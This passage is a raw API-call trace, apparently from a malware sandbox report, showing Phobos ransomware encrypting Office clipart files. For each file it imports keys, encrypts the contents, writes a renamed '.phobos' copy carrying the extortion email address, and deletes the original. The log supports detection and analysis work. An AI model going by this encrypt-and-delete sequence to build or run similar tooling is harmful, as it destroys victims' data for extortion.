[0134.502] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.502] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752e98) returned 1 [0134.502] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.503] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xc38, lpOverlapped=0x0) returned 1 [0134.509] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xc40, dwBufLen=0xc40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xc40) returned 1 [0134.509] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xc40, lpOverlapped=0x0) returned 1 [0134.515] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0134.515] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.515] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.515] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.515] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.515] CryptDestroyKey (hKey=0x752e98) returned 1 [0134.515] CloseHandle (hObject=0x310) returned 1 [0134.515] CloseHandle (hObject=0x30c) returned 1 [0134.515] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1 [0134.516] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.516] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=3764) returned 1 [0134.517] CloseHandle (hObject=0x30c) returned 1 [0134.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0134.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.517] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.517] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.518] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753158) returned 1 [0134.518] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.518] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0xeb4, lpOverlapped=0x0) returned 1 [0134.521] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xec0, dwBufLen=0xec0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0xec0) returned 1 [0134.521] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xec0, lpOverlapped=0x0) returned 1 [0134.523] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752cd8) returned 1 [0134.523] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.523] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.523] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.523] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.523] CryptDestroyKey (hKey=0x753158) returned 1 [0134.523] CloseHandle (hObject=0x30c) returned 1 [0134.523] CloseHandle (hObject=0x310) returned 1 [0134.523] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0134.524] SetEvent (hEvent=0x2b8) returned 1 [0134.524] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.525] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2472) returned 1 [0134.525] CloseHandle (hObject=0x310) returned 1 [0134.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0134.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.525] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.525] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.526] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x7531d8) returned 1 [0134.526] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.526] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x9a8, lpOverlapped=0x0) returned 1 [0134.545] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x9b0, dwBufLen=0x9b0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x9b0) returned 1 [0134.545] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x9b0, lpOverlapped=0x0) returned 1 [0134.546] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752f98) returned 1 [0134.546] CryptSetKeyParam (hKey=0x752f98, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.546] CryptEncrypt (in: hKey=0x752f98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.546] CryptDestroyKey (hKey=0x752f98) returned 1 [0134.546] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.546] CryptDestroyKey (hKey=0x7531d8) returned 1 [0134.546] CloseHandle (hObject=0x310) returned 1 [0134.546] CloseHandle (hObject=0x30c) returned 1 [0134.546] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0134.547] SetEvent (hEvent=0x2b8) returned 1 [0134.547] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.547] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.547] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=2232) returned 1 [0134.548] CloseHandle (hObject=0x30c) returned 1 [0134.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0134.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.548] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.548] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.549] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752dd8) returned 1 [0134.549] CryptSetKeyParam (hKey=0x752dd8, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.549] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x8b8, lpOverlapped=0x0) returned 1 [0134.567] CryptEncrypt (in: hKey=0x752dd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x8c0) returned 1 [0134.567] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x8c0, lpOverlapped=0x0) returned 1 [0134.568] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752d18) returned 1 [0134.568] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.568] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.568] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.568] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.569] CryptDestroyKey (hKey=0x752dd8) returned 1 [0134.569] CloseHandle (hObject=0x30c) returned 1 [0134.569] CloseHandle (hObject=0x310) returned 1 [0134.569] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0134.570] SetEvent (hEvent=0x2b8) returned 1 [0134.570] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.570] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1026) returned 1 [0134.570] CloseHandle (hObject=0x310) returned 1 [0134.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0134.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.571] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.571] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.571] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x752d18) returned 1 [0134.571] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.571] ReadFile (in: hFile=0x310, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x402, lpOverlapped=0x0) returned 1 [0134.821] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x410, dwBufLen=0x410 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x410) returned 1 [0134.821] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x410, lpOverlapped=0x0) returned 1 [0134.821] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752a58) returned 1 [0134.821] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.822] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.822] CryptDestroyKey (hKey=0x752a58) returned 1 [0134.822] WriteFile (in: hFile=0x30c, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.822] CryptDestroyKey (hKey=0x752d18) returned 1 [0134.822] CloseHandle (hObject=0x310) returned 1 [0134.822] CloseHandle (hObject=0x30c) returned 1 [0134.822] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0134.823] SetEvent (hEvent=0x2b8) returned 1 [0134.823] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x310fa98 | out: pbBuffer=0x310fa98) returned 1 [0134.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.823] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fa38 | out: lpFileSize=0x310fa38*=1960) returned 1 [0134.823] CloseHandle (hObject=0x30c) returned 1 [0134.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0134.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0134.824] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.824] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9d8 | out: lpNewFilePointer=0x0) returned 1 [0134.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0134.824] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f990, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9ec | out: phKey=0x310f9ec*=0x753198) returned 1 [0134.824] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.824] ReadFile (in: hFile=0x30c, lpBuffer=0x367a020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fa14, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesRead=0x310fa14*=0x7a8, lpOverlapped=0x0) returned 1 [0134.873] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7b0, dwBufLen=0x7b0 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x7b0) returned 1 [0134.873] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0x7b0, lpOverlapped=0x0) returned 1 [0134.875] CryptImportKey (in: hProv=0x7268e0, pbData=0x310f984, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f9f0 | out: phKey=0x310f9f0*=0x752c58) returned 1 [0134.875] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x310fa98, dwFlags=0x0) returned 1 [0134.875] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40, dwBufLen=0x40 | out: pbData=0x367a020*, pdwDataLen=0x310f9b0*=0x40) returned 1 [0134.875] CryptDestroyKey (hKey=0x752c58) returned 1 [0134.875] WriteFile (in: hFile=0x310, lpBuffer=0x367a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f9f8, lpOverlapped=0x0 | out: lpBuffer=0x367a020*, lpNumberOfBytesWritten=0x310f9f8*=0xf2, lpOverlapped=0x0) returned 1 [0134.875] CryptDestroyKey (hKey=0x753198) returned 1 [0134.875] CloseHandle (hObject=0x30c) returned 1 [0134.875] CloseHandle (hObject=0x310) returned 1 [0134.875] DeleteFileW 